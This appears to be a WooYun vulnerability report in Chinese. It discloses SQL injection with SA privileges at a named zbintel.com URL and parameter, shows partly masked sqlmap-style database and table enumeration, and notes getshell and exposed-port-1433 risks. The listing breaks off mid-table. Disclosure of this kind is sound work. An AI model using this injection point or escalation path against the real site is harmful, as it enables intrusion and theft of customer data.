WooYun.org

注入点，SA权限，跨库
威胁：
1、若暴到物理路径能直接getshell
2、跑到了SA密码，同时外网还开了1433端口，若解密出来，也直接对数据库进行操作。
3、读到了表不少·看里面有订单，用户信息。

http://www.zbintel.com/knowledge/knowledge_2.asp?A2=17
retrieved: SA
current user: 'SA'
available databases [11]:
[*] BA***k
[*] c***
[*] master
[*] m***l
[*] M***s
[*] m***
[*] N***d
[*] p***s
[*] te***b
[*] w***k
[*] zbi***lp
atabase: work
[418 tables]
+------------------------------+
| dbo.G***on |
| dbo.M_***ig |
| dbo.M***on |
| dbo.Me***ss |
| dbo.Me***v |
| dbo.S***ion |
| dbo.S***Log |
| dbo.[email_Send_Queue_错误] |
| dbo.[email_book_zh_非杂志] |
| dbo.a***_zt |
| dbo.a_***t |
| dbo.a***s |
| dbo.ac*** |
| dbo.ac***l |
| dbo.ac***c |
| dbo.ac***t |
| dbo.ac***ht |
| dbo.ac***lt |
| dbo.ac***l |
| dbo.ac***zl_all |
| dbo.ac***_wc |
| dbo.ac***d |
| dbo.ac***te |
| dbo.ac***l |
| dbo.a*** |
| dbo.a*** |
| dbo.al***d |
| dbo.ar***st |
| dbo.au***st |
| dbo.a***d |
| dbo.b*** |
| dbo.b***n |
| dbo.b***ve |
| dbo.***s |
| dbo.b***son |
| dbo.b***y |
| dbo.b***ply2 |
| dbo.c*** |
| dbo.ca***e |
| dbo.c***et |
| dbo.c*** |
| dbo.ch*** |
| dbo.***|
|